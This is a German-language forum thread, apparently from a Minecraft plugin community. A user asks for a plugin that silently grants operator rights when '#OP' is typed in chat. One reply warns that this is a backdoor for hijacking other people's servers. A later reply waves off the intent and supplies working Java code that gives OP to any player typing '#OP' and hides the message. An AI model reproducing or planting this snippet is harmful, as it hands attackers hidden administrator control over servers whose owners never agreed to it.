xPh0enix Posted December 16, 2017 Share Posted December 16, 2017 Guten Tag, Ich bin dabei ein Plugin zu Programmieren was sobald ich im Chat "#OP" eingebe mit OP Gibt (Ohne das es in der Konsole steht) Allerdings bin ich Java Anfänger und habe keine Ahnung mit welchen Argumenten das gehen könnte. Ich würde mich Mega Freuen wenn mir jemand Helfen könnte mit einem Code Beispiel Link to comment Share on other sites More sharing options...
boomer41 Posted December 16, 2017 Share Posted December 16, 2017 Cool dass du ahnungslose Serverowner "hacken" willst. Link to comment Share on other sites More sharing options...
xPh0enix Posted December 16, 2017 Author Share Posted December 16, 2017 vor 1 Minute schrieb boomer41: Cool dass du ahnungslose Serverowner "hacken" willst. Haha Wusste das sowas kommt Ne eigentlich wollte ich es als Art BackUp aufmeinem Server laufen lassen falls er Gehackt wird oder Sonstiges PS. Wenn du meinst ich will es zum Negativen Verwenden dann tuh uns Allen ein Gefallen und sei Einfach leise und Behalte deine Meinung für Dich <3 MFG Link to comment Share on other sites More sharing options...
boomer41 Posted December 16, 2017 Share Posted December 16, 2017 Eine Art Backup also? Dieses Backup nennt man "Konsole". Trick: "op <Name>". Macht genau das selbe. Es gibt keinen rationalen Grund für ein solches Plugin, außer eben jenen genannten. 1 Link to comment Share on other sites More sharing options...
darklolly0312 Posted April 15, 2018 Share Posted April 15, 2018 Wenn er eine Frage stellt, sollte man diese Frage beantworten oder Tipps zur Lösung geben, und nicht unnötige Sätze von sich geben. Er hat gefragt ob jemand ihn ein Beispiel geben kann, dass wenn er etwas im Chat eingibt, er OP erhält.. Das ist die Frage und nur darauf sollte man hier eine Lösung schreiben... Egal was er damit vor hat! Von diesen Sätzen habe ich langsam genug... Jetzt aber zum eigentlichen Thema... da der "#OP" Text im Chat keinen Befehl darstellt, wird er im onCommand() auch nicht erkannt. Dazu musst du das PlayerChatEvent benutzen. in diesem Event musst du nur abfragen ob der ausgegebene Text deinem Text entspricht. Falls ja wird mit p.setOp() der OP-Status vergeben. Dass aber die Nachricht "#OP" nicht noch im Chat oder in der Console ausgegeben wird, musst du das Event canceln, also abbrechen... Hier ein Beispiel: @EventHandler public void onChat(PlayerChatEvent e) { if (e.getMessage().equals("#OP")) { e.getPlayer().setOp(true); e.setCancelled(true); } } Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now